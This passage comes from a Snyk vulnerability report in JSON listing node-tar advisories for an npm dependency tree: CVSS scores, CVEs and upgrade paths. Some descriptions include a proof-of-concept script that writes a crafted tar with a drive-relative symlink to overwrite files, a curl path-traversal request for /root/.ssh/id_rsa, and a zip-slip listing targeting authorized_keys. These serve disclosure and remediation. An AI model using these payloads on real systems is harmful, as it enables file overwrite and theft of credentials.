Remediation\nUpgrade `tar` to version 7.5.19 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3)\n", "epssDetails": { "percentile": "0.46183", "probability": "0.00582", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59873" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-23hp-3jrh-7fpw" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:19:53.639547Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:47:03Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:19:53.812274Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-10T17:47:44.170068Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15416075", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.10" ] }, "exploit": "Not Defined", "fixedIn": [ "7.5.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 8.6, "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 6.3, "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-05T02:01:10.209067Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-10-05T02:01:10.209067Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 8.6, "cvssVersion": "3.1", "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack exploitable via `stripAbsolutePath()`, used by the `Unpack` class. An attacker can overwrite arbitrary files outside the intended extraction directory by including a hardlink whose `linkpath` uses a drive-relative path such as `C:../target.txt` in a malicious tar.\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.10 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f)\n", "epssDetails": { "percentile": "0.32025", "probability": "0.00401", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-29786" ], "CWE": [ "CWE-22", "CWE-59" ], "GHSA": [ "GHSA-qffp-2rhf-9h96" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-05T07:19:20.751739Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-05T00:52:32Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-05T07:19:21.124544Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-05T02:01:10.209067Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15456201", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.11" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 6.2, "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 5.5, "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-07T02:01:07.157453Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.1, "cvssVersion": "3.1", "modificationTime": "2026-10-07T02:01:07.157453Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.2, "cvssVersion": "3.1", "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.5, "cvssVersion": "3.1", "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack via `tar.x()` extraction, which allows an attacker to overwrite arbitrary files outside the intended extraction directory with a drive-relative symlink target - like `C:../../../target.txt`.\n## PoC\n```js\r\n\r\nconst fs = require('fs')\r\nconst path = require('path')\r\nconst { Header, x } = require('tar')\r\n\r\nconst cwd = process.cwd()\r\nconst target = path.resolve(cwd, '..', 'target.txt')\r\nconst tarFile = path.join(cwd, 'poc.tar')\r\n\r\nfs.writeFileSync(target, 'ORIGINAL\\n')\r\n\r\nconst b = Buffer.alloc(1536)\r\nnew Header({\r\n path: 'a/b/l',\r\n type: 'SymbolicLink',\r\n linkpath: 'C:../../../target.txt',\r\n}).encode(b, 0)\r\nfs.writeFileSync(tarFile, b)\r\n\r\nx({ cwd, file: tarFile }).then(() => {\r\n fs.writeFileSync(path.join(cwd, 'a/b/l'), 'PWNED\\n')\r\n process.stdout.write(fs.readFileSync(target, 'utf8'))\r\n})\r\n```\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.11 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad)\n", "epssDetails": { "percentile": "0.07903", "probability": "0.00190", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-31802" ], "CWE": [ "CWE-59" ], "GHSA": [ "GHSA-9ppj-qmqm-q256" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-11T08:15:39.386368Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-10T23:44:58Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-11T08:15:39.582545Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-07T02:01:07.157453Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909068", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.18" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.18" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5", "title": "GitHub Commit" }, { "url": "https://github.com/isaacs/node-tar/releases/tag/v7.5.18", "title": "GitHub Release" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-10T17:47:44.176563Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-10T17:47:44.176563Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:07:59.641185Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Infinite loop via the `replace` method. An attacker can cause the archive scanner to enter an infinite loop by providing a tar header with a negative base-256 encoded entry size.\n## Remediation\nUpgrade `tar` to version 7.5.18 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-8x88-c5mf-7j5w)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/9e78bf058b2c22dd4d52e00d8922d5c06fc2f7b5)\n- [GitHub Release](https://github.com/isaacs/node-tar/releases/tag/v7.5.18)\n", "epssDetails": { "percentile": "0.35748", "probability": "0.00434", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59874" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-8x88-c5mf-7j5w" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:15:52.146477Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:45:46Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:15:52.339195Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-10T17:47:44.176563Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-17909152", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Jvr2022 Jvr" ], "semver": { "vulnerable": [ "<7.5.19" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.19" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-10T17:47:44.170068Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-10T17:47:44.170068Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-10T07:08:05.862995Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling due to the lack of enforced upper bounds on total decompressed data, entry counts, or decompression ratio in extraction and parsing paths such as `src/extract.ts`. An attacker can exhaust disk space and CPU resources by submitting a small crafted gzip archive with a high decompression ratio.\n## Remediation\nUpgrade `tar` to version 7.5.19 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-23hp-3jrh-7fpw)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/2812e9338665659b183aa7226518c307044957d3)\n", "epssDetails": { "percentile": "0.46183", "probability": "0.00582", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-59873" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-23hp-3jrh-7fpw" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-07-09T14:19:53.639547Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-08T18:47:03Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-09T14:19:53.812274Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-10T17:47:44.170068Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15416075", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.10" ] }, "exploit": "Not Defined", "fixedIn": [ "7.5.10" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96", "title": "GitHub Advisory" }, { "url": "https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 8.6, "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "cvssV3BaseScore": 6.3, "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-05T02:01:10.209067Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "Snyk", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-10-05T02:01:10.209067Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "high", "baseScore": 8.6, "cvssVersion": "3.1", "modificationTime": "2026-03-10T05:27:35.213816Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 6.3, "cvssVersion": "3.1", "modificationTime": "2026-03-12T01:19:49.557036Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack exploitable via `stripAbsolutePath()`, used by the `Unpack` class. An attacker can overwrite arbitrary files outside the intended extraction directory by including a hardlink whose `linkpath` uses a drive-relative path such as `C:../target.txt` in a malicious tar.\n\n## Details\n\nA Directory Traversal attack (also known as path traversal) aims to access files and directories that are stored outside the intended folder. By manipulating files with \"dot-dot-slash (../)\" sequences and its variations, or by using absolute file paths, it may be possible to access arbitrary files and directories stored on file system, including application source code, configuration, and other critical system files.\n\nDirectory Traversal vulnerabilities can be generally divided into two types:\n\n- **Information Disclosure**: Allows the attacker to gain information about the folder structure or read the contents of sensitive files on the system.\n\n`st` is a module for serving static files on web pages, and contains a [vulnerability of this type](https://snyk.io/vuln/npm:st:20140206). In our example, we will serve files from the `public` route.\n\nIf an attacker requests the following URL from our server, it will in turn leak the sensitive private key of the root user.\n\n```\ncurl http://localhost:8080/public/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/root/.ssh/id_rsa\n```\n**Note** `%2e` is the URL encoded version of `.` (dot).\n\n- **Writing arbitrary files**: Allows the attacker to create or replace existing files. This type of vulnerability is also known as `Zip-Slip`. \n\nOne way to achieve this is by using a malicious `zip` archive that holds path traversal filenames. When each filename in the zip archive gets concatenated to the target extraction folder, without validation, the final path ends up outside of the target folder. If an executable or a configuration file is overwritten with a file containing malicious code, the problem can turn into an arbitrary code execution issue quite easily.\n\nThe following is an example of a `zip` archive with one benign file and one malicious file. Extracting the malicious file will result in traversing out of the target folder, ending up in `/root/.ssh/` overwriting the `authorized_keys` file:\n\n```\n2018-04-15 22:04:29 ..... 19 19 good.txt\n2018-04-15 22:04:42 ..... 20 20 ../../../../../../root/.ssh/authorized_keys\n```\n\n## Remediation\nUpgrade `tar` to version 7.5.10 or higher.\n## References\n- [GitHub Advisory](https://github.com/isaacs/node-tar/security/advisories/GHSA-qffp-2rhf-9h96)\n- [GitHub Commit](https://github.com/isaacs/node-tar/commit/7bc755dd85e623c0279e08eb3784909e6d7e4b9f)\n", "epssDetails": { "percentile": "0.32025", "probability": "0.00401", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-29786" ], "CWE": [ "CWE-22", "CWE-59" ], "GHSA": [ "GHSA-qffp-2rhf-9h96" ] }, "packageName": "tar", "proprietary": false, "creationTime": "2026-03-05T07:19:20.751739Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-05T00:52:32Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-05T07:19:21.124544Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-05T02:01:10.209067Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "tar@7.5.9" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0", "tar@7.5.22" ], "isUpgradable": true, "isPatchable": false, "name": "tar", "version": "7.5.9" }, { "id": "SNYK-JS-TAR-15456201", "title": "Symlink Attack", "CVSSv3": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "credit": [ "Jvr2022" ], "semver": { "vulnerable": [ "<7.5.11" ] }, "exploit": "Proof of Concept", "fixedIn": [ "7.5.11" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.2, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "tar", "references": [ { "url": "https://github.com/isaacs/node-tar/commit/f48b5fa3b7985ddab96dc0f2125a4ffc9911b6ad", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 6.2, "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "assigner": "NVD", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "cvssV3BaseScore": 5.5, "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:H/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.2, "cvssVersion": "4.0", "modificationTime": "2026-10-07T02:01:07.157453Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:C/C:N/I:H/A:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.1, "cvssVersion": "3.1", "modificationTime": "2026-10-07T02:01:07.157453Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.2, "cvssVersion": "3.1", "modificationTime": "2026-03-11T05:27:18.357410Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N", "assigner": "NVD", "severity": "medium", "baseScore": 5.5, "cvssVersion": "3.1", "modificationTime": "2026-03-19T01:25:11.350764Z" } ], "description": "## Overview\n[tar](https://www.npmjs.com/package/tar) is a full-featured Tar for Node.js.\n\nAffected versions of this package are vulnerable to Symlink Attack via `tar.x()` extraction, which allows an attacker to overwrite arbitrary files outside the intended extraction directory with a drive-relative symlink target - like `C:../../../target.txt`.\n## PoC\n```js\r\n\r\nconst fs = require('fs')\r\nconst path = require('path')\r\nconst { Header, x } = require('tar')\r\n\r\nconst cwd = process.cwd()\r\nconst target = path.resolve(cwd, '..', 'target.txt')\r\nconst tarFile = path.join(cwd, 'poc.tar')\r\n\r\nfs.writeFileSync(target, 'ORIGINAL\\n')\r\n\r\nconst b = Buffer.alloc(1536)\r\nnew Header({\r\n path: 